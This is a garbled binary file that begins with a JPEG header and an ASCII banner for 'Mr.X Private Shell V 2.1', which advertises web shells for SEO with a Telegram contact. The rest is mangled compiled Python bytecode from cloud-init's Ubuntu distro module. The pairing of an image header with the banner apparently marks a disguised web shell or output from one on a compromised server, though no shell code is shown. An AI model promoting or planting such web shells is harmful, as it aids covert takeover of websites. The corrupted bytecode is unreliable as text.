����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
'�DgF � @ sd d dl Z d dlZd dlmZmZ d dlmZ d dlmZ d dl m
Z
e�e�Z
G dd� dej�ZdS )� N)�PREFERRED_NTP_CLIENTS�debian)�Snap)�
activators)�CLOUDINIT_NETPLAN_FILEc sD e Zd Z� fdd�Zd� fdd� Zedd� �Zdd�d d
�Z� ZS )�Distroc sd t � �|||� dtd�| _| jd tjd�| jd tjdd�d�| _t| j�| _ | j
�| j � d S )Nz+/etc/network/interfaces.d/50-cloud-init.cfg)�eni�netplanr )Zeni_pathZ
eni_headerr T)Znetplan_pathZnetplan_headerZpostcmds)�super�__init__r Znetwork_conf_fnr ZNETWORK_FILE_HEADERZrenderer_configsr Z_runner�snapZpackage_managers�append)�self�nameZcfg�paths�� __class__� �</usr/lib/python3.9/site-packages/cloudinit/distros/ubuntu.pyr s ����zDistro.__init__Nc s( t � �|||� | j�� r$| j�� d S )N)r
�package_commandr Z availableZupgrade_packages)r Zcommand�argsZpkgsr r r r - s
zDistro.package_commandc C s | j st�t�| _ | j S )z5The preferred ntp client is dependent on the version.)Z_preferred_ntp_clients�copy�deepcopyr )r r r r �preferred_ntp_clients2 s zDistro.preferred_ntp_clients)�returnc
C s` z| j �� W nL tjy, t�d� Y n0 tyZ } zt�d|� W Y d}~n
d}~0 0 dS )zAEnsure that cloud-init's network service has network connectivityz6Failed to wait for network. No network activator foundzFailed to wait for network: %sN)Znetwork_activator�wait_for_networkr ZNoActivatorException�LOG�error� Exception)r �er r r r 9 s zDistro.wait_for_network)NN) �__name__�
__module__�__qualname__r r �propertyr r �
__classcell__r r r r r s
r )r ZloggingZcloudinit.distrosr r Z)cloudinit.distros.package_management.snapr Z
cloudinit.netr Zcloudinit.net.netplanr Z getLoggerr r r r r r r �<module> s